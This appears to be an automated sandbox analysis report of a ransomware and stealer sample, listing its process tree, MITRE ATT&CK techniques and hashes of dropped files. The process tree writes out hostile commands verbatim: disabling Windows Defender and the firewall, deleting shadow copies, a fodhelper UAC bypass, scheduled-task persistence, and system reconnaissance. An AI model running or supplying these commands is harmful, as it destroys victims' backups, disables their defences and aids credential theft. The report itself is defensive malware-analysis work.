C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop WinDefend2⤵
- Launches sc.exe
PID:2132
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config WinDefend start= disabled2⤵
- Launches sc.exe
PID:5072
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop MsMpSvc2⤵
- Launches sc.exe
PID:5680
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config MsMpSvc start= disabled2⤵
- Launches sc.exe
PID:4116
-
-
C:\Windows\System32\fodhelper.exe"C:\Windows\System32\fodhelper.exe"2⤵
- Suspicious use of WriteProcessMemory
PID:3888 -
C:\Users\Admin\AppData\Local\Temp\2026-05-17_479a67dd883f5a52a5b79e7aeda54668_destroyer_elex_glassworm_ngrbot_wannacry.exe"C:\Users\Admin\AppData\Local\Temp\2026-05-17_479a67dd883f5a52a5b79e7aeda54668_destroyer_elex_glassworm_ngrbot_wannacry.exe"3⤵PID:4712
-
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop wscsvc2⤵
- Launches sc.exe
PID:5536
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop wuauserv2⤵
- Launches sc.exe
PID:2116
-
-
C:\Windows\System32\vssadmin.exe"C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet2⤵
- Interacts with shadow copies
PID:4792
-
-
C:\Windows\System32\wbem\WMIC.exe"C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete2⤵
- Suspicious use of AdjustPrivilegeToken
PID:5324
-
-
C:\Windows\System32\wscript.exe"C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\makelnk.vbs2⤵PID:4632
-
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /create /tn "SysUpdateTask" /tr "C:\Users\Admin\AppData\Local\Temp\2026-05-17_479a67dd883f5a52a5b79e7aeda54668_destroyer_elex_glassworm_ngrbot_wannacry.exe" /sc onlogon /f2⤵
- Scheduled Task/Job: Scheduled Task
PID:1512
-
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /create /tn "SysUpdateBackup" /tr "C:\Users\Admin\AppData\Local\Temp\2026-05-17_479a67dd883f5a52a5b79e7aeda54668_destroyer_elex_glassworm_ngrbot_wannacry.exe" /sc minute /mo 30 /f2⤵
- Scheduled Task/Job: Scheduled Task
PID:1584
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\del.bat" "2⤵
- Suspicious use of WriteProcessMemory
PID:5704 -
C:\Windows\system32\vssadmin.exevssadmin delete shadows /all /quiet3⤵
- Interacts with shadow copies
PID:3424
-
-
C:\Windows\System32\Wbem\WMIC.exewmic shadowcopy delete3⤵PID:3436
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c systeminfo > "C:\ProgramData\SysUpdate\Logs\sysinfo.txt"2⤵
- Suspicious use of WriteProcessMemory
PID:5948 -
C:\Windows\system32\systeminfo.exesysteminfo3⤵
- Gathers system information
PID:5632
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c tasklist > "C:\ProgramData\SysUpdate\Logs\tasklist.txt"2⤵
- Suspicious use of WriteProcessMemory
PID:3880 -
C:\Windows\system32\tasklist.exetasklist3⤵
- Enumerates processes with tasklist
- Suspicious use of AdjustPrivilegeToken
PID:6040
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c whoami > "C:\ProgramData\SysUpdate\Logs\whoami.txt"2⤵
- Suspicious use of WriteProcessMemory
PID:5496 -
C:\Windows\system32\whoami.exewhoami3⤵PID:4868
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c net user > "C:\ProgramData\SysUpdate\Logs\netuser.txt"2⤵
- Suspicious use of WriteProcessMemory
PID:4452 -
C:\Windows\system32\net.exenet user3⤵
- Suspicious use of WriteProcessMemory
PID:5860 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 user4⤵PID:4168
-
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c ipconfig /all > "C:\ProgramData\SysUpdate\Logs\ipconfig.txt"2⤵
- Suspicious use of WriteProcessMemory
PID:3836 -
C:\Windows\system32\ipconfig.exeipconfig /all3⤵
- Gathers network information
PID:1276
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c netstat -an > "C:\ProgramData\SysUpdate\Logs\netstat.txt"2⤵
- Suspicious use of WriteProcessMemory
PID:4796 -
C:\Windows\system32\NETSTAT.EXEnetstat -an3⤵
- Gathers network information
- Suspicious use of AdjustPrivilegeToken
PID:3552
-
-
-
C:\Windows\SYSTEM32\schtasks.exe"schtasks" /create /tn "RansomwareCheck" /tr "C:\Users\Admin\AppData\Local\Temp\2026-05-17_479a67dd883f5a52a5b79e7aeda54668_destroyer_elex_glassworm_ngrbot_wannacry.exe" /sc daily /f2⤵
- Scheduled Task/Job: Scheduled Task
PID:2536
-
-
C:\Windows\System32\wscript.exe"C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs2⤵PID:1784
-
-
C:\Windows\System32\notepad.exe"C:\Windows\System32\notepad.exe"2⤵PID:5944
-
-
C:\Windows\System32\vssadmin.exe"C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet2⤵
- Interacts with shadow copies
PID:4336
-
-
C:\Windows\System32\wbem\WMIC.exe"C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete2⤵PID:3108
-
-
C:\Windows\System32\net.exe"C:\Windows\System32\net.exe" stop srservice2⤵
- Suspicious use of WriteProcessMemory
PID:5648 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop srservice3⤵PID:3552
-
-
-
C:\Windows\System32\netsh.exe"C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off2⤵
- Modifies Windows Firewall
- Event Triggered Execution: Netsh Helper DLL
PID:3284
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config i8042prt start= disabled2⤵
- Launches sc.exe
PID:5904
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop i8042prt2⤵
- Launches sc.exe
PID:2168
-
-
C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"1⤵PID:3776
-
C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Suspicious use of AdjustPrivilegeToken
PID:1684
-
C:\Users\Admin\AppData\Local\Temp\2026-05-17_479a67dd883f5a52a5b79e7aeda54668_destroyer_elex_glassworm_ngrbot_wannacry.exeC:\Users\Admin\AppData\Local\Temp\2026-05-17_479a67dd883f5a52a5b79e7aeda54668_destroyer_elex_glassworm_ngrbot_wannacry.exe1⤵PID:1912
-
C:\Users\Admin\AppData\Local\Temp\2026-05-17_479a67dd883f5a52a5b79e7aeda54668_destroyer_elex_glassworm_ngrbot_wannacry.exeC:\Users\Admin\AppData\Local\Temp\2026-05-17_479a67dd883f5a52a5b79e7aeda54668_destroyer_elex_glassworm_ngrbot_wannacry.exe1⤵PID:2908
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc1⤵PID:5316
Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
2PowerShell
1Scheduled Task/Job
1Scheduled Task
1System Services
2Service Execution
2Windows Management Instrumentation
1Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
5Windows Service
5Event Triggered Execution
2Image File Execution Options Injection
1Netsh Helper DLL
1Scheduled Task/Job
1Scheduled Task
1Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
5Windows Service
5Event Triggered Execution
2Image File Execution Options Injection
1Netsh Helper DLL
1Scheduled Task/Job
1Scheduled Task
1Defense Evasion
Direct Volume Access
1Impair Defenses
3Disable or Modify System Firewall
1Disable or Modify Tools
1Indicator Removal
2File Deletion
2Modify Registry
4Credential Access
Credentials from Password Stores
1Credentials from Web Browsers
1Unsecured Credentials
1Credentials In Files
1Replay Monitor
Loading Replay Monitor...
Downloads
- Path C:\ProgramData\SysUpdate\Scr\scr_20260520_144658.jpg
- Size 220KB
- SHA256 31f07d3ef742003716824feb84797638a5a4cee4ecbb517dad45faa8878b245d
- MD5 ca7436d58ddb99a6d06fba3cd7e7e4dd
- SHA1 a77ca6456c4e4fbf1855fd040908deb47c008be1
- SHA512 3ffdcb1cf4bc489293088e8ceffa91660896b2b4a6c9a5090a4a66404d2d9bc7ac022f31cd60d4c7a713e52c985ca2a922d602eb825dc783ca05e51337ee2eff
- SSDEEP 3072:4THHHHHHHHHHHHHHHHHHdTmsvToSTfjCfIVrNuFuTWozaAPb42daMmmsV6bmR098:2msbVWwSQwAHBJsEg09K0qkJsGdK
- TLSH T128247D179C088B83A45D43E97E431DAD3F0A561CE99A7AFE05220ECF7F416661C9E07E
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\ProgramData\invoice_1.pdf
- Size 65KB
- SHA256 a7b132858ce9a350b64b3f17869def39bf14bea8116ef31b7191346118fe41e1
- MD5 0f7db2129b51e43df5fb7bde233918ac
- SHA1 33e084b0cd2ca00976f4894dc2b5ace02a95aad3
- SHA512 6b537dd4659ef42ed49accd8584e8c87fb233ae4a94c2107eaaf48e8288f4b1230e9c88ab99859e34e549d3717c05ffcd122c846625e81ee4773afdf32128c01
- SSDEEP 1536:KBUaGQCigDpJIgIko/IRmFRtzESL1vc140zzOCBVZBrcea:KBUaGdigDI2gKYRC+1Ue0zzdZpo
- TLSH T165631A368B23FCD4777F3D80E02039561C883E7B87B5257CFA811DA529A5584DF2E5A8
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\SystemVolumeInformation\doc_3.pdf
- Size 64KB
- SHA256 40bd56b252abc9ae770dfb6499f1849a94b08225dfc3991cc40e7c4e3ffb61ff
- MD5 8769ed008933454875b0f29268c1c19b
- SHA1 4163b6771143962083d7e57fdf4e4d652b3435b7
- SHA512 f81e56b2704d472f87ee8b175cb6ada3cb1dc75376dd672c52a46661ac1831117b2399baa1ecab70703125efaf7eb3e9cf1a41330eb5babcf9fa1091ba63dd61
- SSDEEP 1536:qBUaGQCigDpJIgIko/IRmFRtzESL1vc140zzOCBVZBrcet:qBUaGdigDI2gKYRC+1Ue0zzdZpj
- TLSH T153531A368B23FCD0777F3D80E06039561C883E7B87B5257CFA811DA529A5584DF2E9A8
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\BookmarkMergedSurfaceOrdering
- Size 6B
- SHA256 4489f9e3e454748b3521eb214e0a5694d562cff3d9ff511cb456953c8f534c00
- MD5 377d072e137022223a370760763420bb
- SHA1 534e5f914ae99bf0a342a2f7a7e0724bd0d11ef7
- SHA512 d1e37e45e8d603c46c9254d7295744104222b09340246c5e5f50d661d4688ccc2068adf1e0cd78599bcdcf475f8a0a6255dcd3e429812aa14cc2e2022309955c
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\BrowsingTopicsState
- Size 414B
- SHA256 54260e29b7b058ccd474678ec19df07b33fe53a2288237bd9d3a00d08b0735cd
- MD5 a935cce2e6d0a231604730a76729f1e4
- SHA1 71bb5febc86e3c2fb0255341eb6115169b4fd8af
- SHA512 6c6f7644db79c6c6c639b954a42ae416357ea7f018aa9b0675d5771e1214e17d5623549bc05ea9fcdabb155e23504d2518dc77a122f33950966f888eb2bf5d76
- TLSH T1E3E022AACD21AC3B48FE8758A0144642EB80131B3781890F3B7C820C9FF463742AAC6C
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Cache\Cache_Data\f_00000b
- Size 42KB
- SHA256 c0d39ce3e501b0667a95f9e9a2207013a64ac00aa525fd65dd6cf77ed3be9aae
- MD5 9c9651c54d6a14d8e28f0cd655d89b18
- SHA1 679ae1c1a6313b733788fabb53654f6cee9f2372
- SHA512 bdde3510294f9ae8194d4b4a1cc6b96e890ad1d4d51b7129c7691ad931f944f53405b686c868246f364003f97ae4b0d14ada7ce17f3bb541131945026f9d1052
- SSDEEP 768:6XnTMlH6cymY4FmNZr8Yp6PQJQGLzLMxPXXHHODbh6D9Jo3pfDznFYJIlK:gT63y+0oYkCwXXnwbh6DmDDFgwK
- TLSH T19113E145F1ABAFDAC939D82134D82E6FDA18342B90A5ECD591B05DEB360E1C01761C7E
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Cache\Cache_Data\f_000023
- Size 879KB
- SHA256 1c387e52bc45dd4e36f75cb411336b3216a1ba10d245b6127cc043662b5bb1d8
- MD5 8b8e45e59458e6d143b86241dd903c56
- SHA1 556cdd86114fbf8738bc55326a38f1a5bd6160b4
- SHA512 6e7d38d35b80e2804189125e51b9c08fb0e2303e7aca5f2f491ea18918d0caea50b44ecd87ad0e24f14262b629388645296d2c3fa30e7dad9e7c92dbc133e794
- SSDEEP 24576:KzwqAdqv6DuOB2FG28Sg3u6SrsOTMCXyGBeni67bw:i8qCDhB245Sg3u7pXBen9Pw
- TLSH T10B15339C00B0A7F557FF8B79ADB76334055BA6B2029913E2CDB0BE33289344669713D6
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Code Cache\js\index-dir\the-real-index
- Size 480B
- SHA256 c5041b79d27acaf9c0edfc21888cf16cd81fd8719bb562783a2ff332512891eb
- MD5 0a66e408eb56971bc2541fd75e23c902
- SHA1 2ec2d8a3048171d1652b7433250cfadbb83fe569
- SHA512 71ded2d4525ce7dc7b4f8844714ff5e9c72fe9a25fd470541141fc7c05258a066ca82c3c3f3d8a83ad23e60a5afe2fff92d8367880104c1a9b8385b4a81c59da
- TLSH T10FF0DF24EFD8A295CBE2903B54EFDC0C2CB90CF81C460B03849909740427FF11149E05
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\Network Persistent State
- Size 7KB
- SHA256 7e06d87aaa2468c6b5a0ad992b83f28fe0002bed9d4cef0cba28f0a07cdb0b9b
- MD5 583e448f2a2d4e8a4828b34dd89dfb83
- SHA1 582548f8a13767755b62d15ae376d7c3614302e2
- SHA512 1b3beee27a2f82dc183038a95ba0e59cfc14d708009bd0c6f6cf155146e229606825bb98aa9a3602ef6a50ce4af25d1a8b9d07f599ecee5010f55688b6c4bae0
- SSDEEP 192:D7NZlfuvtju1NH+S5V2k18RDNLmc40prfQugc2VtT9tdAqbyw:DpZlGvtju1NH+Sv2k18RDNLmcHpr4ugv
- TLSH T1D8F198F7C3F88A6D881156F4EA182E1BCE691915436C3C5BC8E4AF1B63F2871E34494E
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\Network Persistent State
- Size 8KB
- SHA256 75265843d6af1cfdb113515e209cd8fa2b348da120a435bf4cf1ee99dc65cc3b
- MD5 a3b569f2ef7d9418e9663b960e7ae5c3
- SHA1 997b0a80f59b0c999c16165d136932e3491d6f5b
- SHA512 19d40ed5de4d9ee2c796b72a28cf1b424641df0f99d12db09f0eb5d5d68aa5c127c708d5bed09b6827b29864fd07b0927aacf611a3eac29f7eec1bc8d1995dd2
- SSDEEP 192:D7NZlfuv03ju1NH+S5V2k18RDNLmc40prfQugc2VtT9tdAAdK24w:DpZlGv03ju1NH+Sv2k18RDNLmcHpr4u2
- TLSH T1FF0289F7C3F88A6D881156F4EA282E1BCE691915436C3C5BC8D4AF1B63F2871E34594E
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\Network Persistent State
- Size 2KB
- SHA256 e06a00951d0c35fc5e670415b741e0878e8632452ea60926fd596eb6f6e9f9ff
- MD5 e6f7139a4a81eb64c121015875529bee
- SHA1 7f10408070340b8cd1931c7708653fceac8db862
- SHA512 27efbd2def5922f92d23add74254fead551e6d856371c46e5db568571326be539e91564b84c298a667f47b75918b0da4d78fb823ab170a1c164144093c40f6d4
- TLSH T1B64148FBC7E8C97D890196F4A6292F1FCE2D0E14536C3C6698D4AF0B53E1871D21059E
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\SCT Auditing Pending Reports
- Size 2B
- SHA256 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
- MD5 d751713988987e9331980363e24189ce
- SHA1 97d170e1550eee4afc0af065b78cda302a97674c
- SHA512 b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences
- Size 11KB
- SHA256 02e560079056957b48dac334630b6b61c0f08ade4f0a7b0751adf55abb9f7cce
- MD5 65161b75c9c7427504547782a1743de7
- SHA1 55abbf711cef8b42c82a35c85f9c6a5d8d144ddb
- SHA512 9d6c89c088f6e02a8f0f3834948116487151cbfef5d0f1c1e676d5efcf0a83e1262dd09aefed614197603f4eaae9ddb2addf2e8a0d6b878aaec523a2f60bea4e
- SSDEEP 192:nRXtEy9ZPkxzk8l+Kgiv7lpupAPRp2Klv9fHsb+WNnXkTWq42fEWeqfiVyIsnAUp:nRmGc5HZgUX1RwKw216e
- TLSH T17D42C52EFE14653B5CCBD22AF962B753D3F5112565D42E40EAFC8A2C24D76CC221782B
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Secure Preferences
- Size 17KB
- SHA256 79ea521d9f3df87d24eec0f3607ae01ff8cf6eaeb5c7802f7c4721f58b8ddead
- MD5 5d35f09b8c86835fb4877dcd0cc40e4a
- SHA1 71d399e3fd153dc456fddb8f9cf7b1d428dcd2c7
- SHA512 68050d4d5a4a4f94c2a29dfff1edf5350066ef5a2e47ef11dcbd09970c2009d28d7804e59c25d64e43ef8e1367105d32e929bef6a7a0e31d18837b193891b321
- SSDEEP 384:WQjb+7KxkXqKf/pUZNCgVLH2Hfgsl5g7pLuLcSjQRXODaB+ErU39rHGQ3uKHaaK7:WUb+7KxkXqKf/pUZNCgVLH2HfgsLg7pn
- TLSH T1BF72F967BC4C9A370F94C6CDD8267A4FADB5024B65DD886483FA982903D4BCF110A2F7
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Service Worker\CacheStorage\718208eb2cb8949d25217ab4855777e83abbf9d9\index.txt
- Size 131B
- SHA256 01701b257b5f67b99725635ceba5dab83a161dd35cf5fbfa14f2b721bb899d34
- MD5 cb09863dc4713f90c1d3eb3c9840ba27
- SHA1 0e48c04f484df922d907aacc87a3184a4da44d15
- SHA512 2fccb631a46002e26b570454083dd666d87962f15efed51e292a1ca258cf81238732e9554e2afc8e8e28e0be555643e46649e837df6a2763428399579945d10c
- TLSH T14CC09B7B1224404EFFEAD6817D002C5DE356559CD5D5DC6CC5B46825E4854135981D8B
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Service Worker\CacheStorage\718208eb2cb8949d25217ab4855777e83abbf9d9\index.txt~RFe5858aa.TMP
- Size 138B
- SHA256 cb5c752663183e395fe95d0541a805427340fa8f88632bac80bc24e5dbefd58c
- MD5 9ab5fcdf55bce296ea7c45d4b1649f19
- SHA1 b3f7166f5e4188777f00282e04a7e7e0c7d4ce38
- SHA512 76a26c851dac918bdcecb84e324a0daa5ebde88eef0abfd253b19844070809096b3754c90b7733b4e523f6cdf7a9b5f3d4add61afb38e7a305c46e98685341f2
- TLSH T152C02B3B1220000DFF9295827C002C4CE3A22C9CC4C5DC6CC4747421F0B10135980DCB
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Service Worker\ScriptCache\index-dir\temp-index
- Size 144B
- SHA256 d0b75648d609f32cd5be485d91b3d1278c27ddc0fac49499888befff4c6078aa
- MD5 02ce005697f5b00670b48b23c09c8846
- SHA1 12bcec232e071c81ec23efd22d678c9e6a0daa84
- SHA512 eac7daf3a567ef5e744398910665cb5a819b4929c8fda42583a26c35af94f3b8044e885b9c78da8889bf0ff53047d1dd3387692e3f56860287f6947012163503
- TLSH T191C01295C1057202C00A03F82046D4DC732CDFB9DA1A3B6846E1696A9C341208017253
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index~RFe585e28.TMP
- Size 96B
- SHA256 8840bf582984206ed51f9a7c6701468ab4327de9dd73839e54097fdac84129a4
- MD5 6f7b45c2dd18936ee9a95c872e3d1d74
- SHA1 a25f08acaecb4da29873f788303089e66f3d81b5
- SHA512 7c95e793aa742f9444dac8cc55c74237f222e374e2ed69bbca10925faeb43a1a5a079be705c97709c12a45497846c404e94ecc492c48754df02522ab17398b3d
- TLSH T1D5B02200C2032202C08203B028A8A0CCB3E0CF30CA030223E2E03EABEC202E00820030
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Web Data
- Size 138KB
- SHA256 a60aab5ea5ff707ccfbc51000114bf921f3336a5ffa3e0ef7434d8a2a4e87086
- MD5 14982e3762cb4e3053b9fac9cfb1ff9c
- SHA1 06a1f40389f28872f4c654d6155423ac36d70be5
- SHA512 23966bd927a3c92b28bcefb1cfe85d42ac9f3c1d1309360c6dded2ebfbb9653e2d539ac24107cc4f21128b987d82284ed62f6a8478cb9b4e4dc31d69c591a9c1
- SSDEEP 192:tB+XuvBnl3JsueMEGvIW1/rcP2O5pX6OuqKVumAwkP:jeuvBnhJsueMEGvIW1DcP2OXoVumAnP
- TLSH T1DCD3984B3A743102DDE59A721CE050BB5E3CB16D4F5195D528B620688EF2963B23D4FF
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
- Size 228KB
- SHA256 444293e5ac6607e74da5cdfc6940e8dc875213a863280747d6493b3783df8113
- MD5 b6e730d1794981190a2424bb670884b2
- SHA1 87f6070af575fe5b751265901b04d341252b04b5
- SHA512 96956c15327a0cc401dde7654f0313e58ffa9a5d37a6585062a07f7632aa85da03ff1ed97bb6712ac041e78feef44119db8a8d49a5fed8d9e4ceae0eb5d62c3a
- SSDEEP 3072:pDTzUJbtsIcTCj4MrX3D+S11jImJ1tvDFpmzNA9J+zfAsJDREge7oWg+95hJ:pjMc2kMLz511jPlpf+zfAk3WbhJ
- TLSH T1FB342333DC9B4CA735106CBE81C827FA5DFC99D3D260BD17C1AAD5063C4A76A132AA71
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
- Size 227KB
- SHA256 f31b9295a12fbf03c39e22daed52d783db81afbaf1b8bebdad74326081411f28
- MD5 0504360ecfdeca6015ae4b909235680c
- SHA1 8a5f4e446ca7f1b07078650a2cff1b37d184ecc7
- SHA512 d60aeb052051aa1a7d62d7b4735c35190ea0ea927977e13522a2c3d181212a90e13f6e5c881e61fc4b1730cf28fb20d7bdef664e55cab8d85014bef726e9d6ef
- SSDEEP 3072:LhzUJbtsIcTCj4MrX3D+S11jImJ1tvDFpmzNA9J+zfAsJDREge7oWg+95hJ:JMc2kMLz511jPlpf+zfAk3WbhJ
- TLSH T1DB342313DC9B8C7775046C7E81C817FEAAFC99D2D2A0BD13C1ABD5063C4A71A132AB25
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
- Size 115KB
- SHA256 9c062c4c1a97b0dad51f7712d69b4d47a01f80787abbf9f7c9146a0002be487d
- MD5 e11acf00607e436582aa99682b640206
- SHA1 f362ce9575c8f1d78295f7e3a1849c1e79f2dc24
- SHA512 6e584d3b0470ea3d701cd861091a63d6b3554fd1f3db48b4692509537ee8908bbc152964387b0d864082647d23f9808ef1aa2993b6fa767fad97a3ea3b2a08ef
- SSDEEP 1536:vAVbueL6TFpmkUjlTArhJ+vgVuFM8r51TRB+BsJYuRZa8pSgeDAkwdqf8Wg+95hy:fDFpmzNA9J+zfAsJDREge7oWg+95hy
- TLSH T111C30212CAAACE9BE4A49C79E4C413F3BEBD5F9523F1BA424166E4023DDE7041395770
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
- Size 227KB
- SHA256 8982033d9be7da302bf0000e0e1893221af44429bc892591e42f67da2f2aa20f
- MD5 f7e5a7df5285585c53462b5407f3c770
- SHA1 580a164966728f4ff75ec1456bddc9762b0f32cd
- SHA512 3c7de75fe2c974ccc6e4f5a3bb648ecd09384fc0c2d5ef305ba31ff9df52a584b03dcdebc015540f8889c58c3e12e46d74527dc5ea78c705e4152d9660a1f5aa
- SSDEEP 3072:QhzUJbtsIcTCj4MrX3D+S11jImJ1tvDFpmzNA9J+zfAsJDREge7oWg+95hJ:uMc2kMLz511jPlpf+zfAk3WbhJ
- TLSH T1F2342313DC9B8C7775046C7E81C817FEAAFC99D2D2A0BD13C1ABD5063C4A71A132AB25
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\2026-05-17_479a67dd883f5a52a5b79e7aeda54668_destroyer_elex_glassworm_ngrbot_wannacry.exe.log
- Size 660B
- SHA256 0e692bcbba51ca4e766a427c9f28a7a4a9e326d2cf835493e57a9dc2121326b5
- MD5 284393596fdd49bebd7b861bf339b82d
- SHA1 a36767dfc423b3c7fd3ff439b616862743a053c8
- SHA512 8d3247ee0c3bf9a9fceea23eb5c646dbd8b3d954f4d62622f49070629e642d6a13bfb0d27949e2355c081d45f5a1101f05a9972782a0f0a478ed90f551d2efeb
- TLSH T1BD0144703376A0D889263F820C2E52C857BF433AA150AD18B998628DED3601B6B212E7
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_i4lbofq0.3ju.ps1
- Size 60B
- SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
- MD5 d17fe0a3f47be24a6453e9ef58c94641
- SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
- SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
- TLSH T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs
- Size 309B
- SHA256 68fedac33c44a99446df783e6afe51cd0279ff50ddf85899e7d53dca0988042c
- MD5 00f10a58d0bde7b39492320f8c278274
- SHA1 421b24aa535849d491f550427b4dfe66d9b76266
- SHA512 27d91b08c9ca5d6ca8d0b0d72d12178f03482a7ee1aec94943f8e4c4f01ec96a26d8f52d2411e87d9199cf7717a8a2c859cd0c66de8ec2ef478be418496cb5b1
- TLSH T109E0724BB228C6AB0001513BC1B38E0CE6A099282B276F6096A0EE0E36908C658F1083
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\del.bat
- Size 59B
- SHA256 a51f2a0f053ac35b4158bb02b75421ab3698e1d0ee4f926abf1bae3af1570c53
- MD5 9cecbebdcdd60358132849714a3b82f7
- SHA1 be6e20834a5726f3742f05e6bdfaff16118b147f
- SHA512 7b48bd66b4c741d2de2e8b7bc0eab8f438ddc1ed0c73e8b70add9bee400f6640f692884965032616e2d6911a22a17d1d3762421aa49fe021660c9052cfc0675a
- TLSH T13DA002620F961E5469529E5AD73425239D1F104CD1390012F05232903DA98DE0EC2144
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\makelnk.vbs
- Size 310B
- SHA256 ccaabd1e6deabbcfbe9a54b68622c51a144e8fa6c5909974760ab759729f5a9d
- MD5 fbd1a8a76bb116da0c482a5cb1e49878
- SHA1 f36eaf7cd0fc349314df51d699f15e2ae7c8c5c9
- SHA512 7bc6de338db30e9dec61a2c547bfe93d0f80e77482d3326b47b0eb51b9b657945d8fd7615e06d118be40ae47b113cb2c7d1dc9451c0cabe5e9878a844b340b3e
- TLSH T133E07D47B228C5A70001513BC0B34E0CD6D095182B376F209650DD0F378088658F1043
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\temp_steal.log
- Size 606KB
- SHA256 0eeeccf03afcee31da7cf62254eb288c8a137af944657ec6ee22904b73204633
- MD5 37d52cee830c6bae8dc89c23b8f5dfa0
- SHA1 0926a2780083ac34c401fa27b2acb1da4cd99ead
- SHA512 cf42e4dbccfbd92f6dc8d862c4a8d36a2cffa9f9089c986514b8c8509444c617046e9f20b4108e98382ffe5b0378a363e6e5b87bf7b6981fa7e1ab1c3446f445
- SSDEEP 12288:hpZnflud7XXuXIu4JWD5JmLAgG1m09HGx+Da5rXTpjg:Hq5n44MtLHmx8a5u
- TLSH T1D6D4AF40D6F3CE2649925AEB484636D5D478BBF196ECC4FB20E3AE63F1739A2C61D101
